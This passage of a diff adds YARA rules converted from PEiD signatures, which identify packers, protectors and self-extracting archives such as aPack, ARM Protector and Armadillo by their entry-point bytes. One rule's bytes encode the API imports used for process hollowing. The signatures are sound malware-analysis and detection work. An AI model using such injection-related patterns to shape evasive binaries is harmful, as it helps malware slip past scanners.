+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 91 02 6D 61 6C 6C 6F 63 00 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 C5 02 73 74 72 73 74 72 00 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00090_AntiDote_V1_2_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote V1.2.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08}
+    condition:
+        $a
+}
+
+rule PEiD_00091_AntiDote_v1_4_osCE__Sing_by_osC__CoDeR_
+{
+    meta:
+        description = "[AntiDote v1.4 osCE *Sing by osC++CoDeR]"
+        ep_only = "true"
+    strings:
+        $a = {68 95 01 00 00 E8 D0 FD FF FF 68 95 01 00 00 E8 C3 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74}
+    condition:
+        $a
+}
+
+rule PEiD_00092_AntiDote_V1_x____SIS_Team_
+{
+    meta:
+        description = "[AntiDote V1.x -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? 00 00 E8 ?? FD FF FF 68 ?? ?? 00 00 E8 ?? FD FF FF 68 90 03 00 00 E8 ?? FD FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? FD FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00093_AntiVirus_Vaccine_v_1_03_
+{
+    meta:
+        description = "[AntiVirus Vaccine v.1.03]"
+        ep_only = "true"
+    strings:
+        $a = {FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2}
+    condition:
+        $a
+}
+
+rule PEiD_00094_aPack_v0_62_
+{
+    meta:
+        description = "[aPack v0.62]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6}
+    condition:
+        $a
+}
+rule PEiD_00095_aPack_v0_82_
+{
+    meta:
+        description = "[aPack v0.82]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB}
+    condition:
+        $a
+}
+
+rule PEiD_00096_aPack_v0_98__m_
+{
+    meta:
+        description = "[aPack v0.98 -m]"
+        ep_only = "false"
+    strings:
+        $a = {1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76}
+    condition:
+        $a
+}
+
+rule PEiD_00097_aPack_v0_98b__com__
+{
+    meta:
+        description = "[aPack v0.98b (com)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? 8B CF FC 57 F3 A4 C3 BF ?? ?? 57 57 BE ?? ?? B2 ?? BD ?? ?? 50 A4}
+    condition:
+        $a
+}
+
+rule PEiD_00098_aPack_v0_98b__DS___ES_not_saved__
+{
+    meta:
+        description = "[aPack v0.98b (DS & ES not saved)]"
+        ep_only = "false"
+    strings:
+        $a = {8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75}
+    condition:
+        $a
+}
+
+rule PEiD_00099_aPack_v0_98b__exe__
+{
+    meta:
+        description = "[aPack v0.98b (exe)]"
+        ep_only = "false"
+    strings:
+        $a = {93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA}
+    condition:
+        $a
+}
+
+rule PEiD_00100_APatch_GUI_v1_1_
+{
+    meta:
+        description = "[APatch GUI v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {52 31 C0 E8 FF FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_00101_Apex_3_0_alpha____500mhz_
+{
+    meta:
+        description = "[Apex 3.0 alpha -> 500mhz]"
+        ep_only = "false"
+    strings:
+        $a = {5F B9 14 00 00 00 51 BE 00 10 40 00 B9 00 ?? ?? 00 8A 07 30 06 46 E2 FB 47 59 E2 EA 68 ?? ?? ?? 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00102_APEX_C__BLT_Apex_4_0_____500mhz_
+{
+    meta:
+        description = "[APEX_C (BLT Apex 4.0) -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3}
+    condition:
+        $a
+}
+
+rule PEiD_00103_Apex_c_beta____500mhz_
+{
+    meta:
+        description = "[Apex_c beta -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00104_Apex_c_beta____500mhz_
+{
+    meta:
+        description = "[Apex_c beta -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00105_App_Encryptor____Silent_Team_
+{
+    meta:
+        description = "[App Encryptor -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 1F 1F 40 00 B9 7B 09 00 00 8D BD 67 1F 40 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00106_App_Protector____Silent_Team_
+{
+    meta:
+        description = "[App Protector -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A}
+    condition:
+        $a
+}
+
+rule PEiD_00107_App_Protector____Silent_Team_
+{
+    meta:
+        description = "[App Protector -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A 54 68 69 73 20 69 73 20 53 50 61 6B 65 64 20 41 70 70 6C 69 63 61 74 69 6F 6E 0D 0A 53 50 41 4B 20 63 6F 6D 70 72 69 6D 61 74 69 6F 6E 20 73 79 73 74 65 6D 20 69 73 20 AE 53 69 6C 65 6E 74 20 54 65 61 6D 99 0D 0A 60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED 76 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 E8 01 00 00 00 9A 59 8D 95 C8 22 40 00 E8 01 00 00 00 69 58 66 BF 4D 4A E8 BF 01 00 00 8D 52 F9 E8 01 00 00 00 E8 5B 68 CC FF E2 9A FF E4 69 FF A5 E4 24 40 00 E9 E8 B9 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00108_ARC_SFX_Archive_
+{
+    meta:
+        description = "[ARC-SFX Archive]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8}
+    condition:
+        $a
+}
+
+rule PEiD_00109_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 F0 40 00 8D BE EB 1F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a
+}
+
+rule PEiD_00110_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 18 C0 40 00 68 C4 A1 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 38 03 41 00 A3 D0 D6 40 00 33 C0 A0 D1 D6 40 00 A3 DC D6 40 00 A1 D0 D6}
+    condition:
+        $a
+}
+
+rule PEiD_00111_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8D 90 5C 01 00 00 68 00 00 40 00 83 3A 00 0F 84 C6 C1 FF FF 8B 04 24 8B 0A 0F BA F1 1F 73 13 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB D9 83 C2 10 8B 5A}
+    condition:
+        $a
+}
+
+rule PEiD_00112_ARM_Protector_0_1_by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.1 by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+    condition:
+        $a
+}
+rule PEiD_00113_ARM_Protector_0_2___SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.2-> SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 09 20 40 00 EB 02 83 09 8D B5 9A 20 40 00 EB 02 83 09 BA 0B 12 00 00 EB 01 00 8D 8D A5 32 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00114_ARM_Protector_0_3___by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.3 - by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 13 24 40 00 EB 02 83 09 8D B5 A4 24 40 00 EB 02 83 09 BA 4B 15 00 00 EB 01 00 8D 8D EF 39 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+    condition:
+        $a
+}
+
+rule PEiD_00115_ARM_Protector_v0_1_by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector v0.1 by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+    condition:
+        $a
+}
+
+rule PEiD_00116_Armadillo_3_00a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.00a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00117_Armadillo_3_00a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.00a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD 26 42}
+    condition:
+        $a
+}
+
+rule PEiD_00118_Armadillo_3_01__3_05_
+{
+    meta:
+        description = "[Armadillo 3.01, 3.05]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00119_Armadillo_3_10_
+{
+    meta:
+        description = "[Armadillo 3.10]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00120_Armadillo_3_6x____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.6x -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD AB 76}
+    condition:
+        $a
+}
+
+rule PEiD_00121_Armadillo_3_7x____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.7x -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 B8 3B 01 00 00 03 C5 33 DB 81 C3 01 01 01 01 31 18 81 38 78 54 00 00 74 04 31 18 EB EC}
+    condition:
+        $a
+}
+rule PEiD_00122_Armadillo_3_X_5_X____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.X-5.X -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_00123_Armadillo_3_X_5_X____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.X-5.X -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 60 33 C9 75 02 EB 15 EB 33}
+    condition:
+        $a
+}
+
+rule PEiD_00124_Armadillo_4_00_0053____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.00.0053 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00125_Armadillo_4_10____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.10 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00126_Armadillo_4_20____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.20 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00127_Armadillo_4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24}
+    condition:
+        $a
+}
+
+rule PEiD_00128_Armadillo_4_30a____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.30a -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43 4F 44 45 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 53 27 20 61 6E 64 20 27 25 53 27 00 00 00 00 50 75 74 53 74 72 69 6E 67 28 27 25 73 27 29 00 47 65 74 53 74 72 69 6E 67 28 29 2C 20 66 61 6C 73 65 00 00 47 65 74 53}
+    condition:
+        $a
+}
+
+rule PEiD_00129_Armadillo_4_30a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.30a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43}
+    condition:
+        $a
+}
+
+rule PEiD_00130_Armadillo_4_40____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.40 -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8 73 DC F6 D1 05 42 55 53 79 73 74 65 6D 00 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 44 44 45 20 50 72 6F 63 65 73 73 69 6E 67 00 00 53 77 50 44 44 45 00 00 44 00 44 00 45 00 20 00 50 00 72 00 6F 00 63 00 65 00 73 00 73 00 69 00 6E 00 67 00 00 00 00 00 53 00 77 00 50 00 44 00 44 00 45 00 00 00 00 00 3C 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00131_Armadillo_4_40____Silicon_Realms_Toolworks_
+{
+    meta:
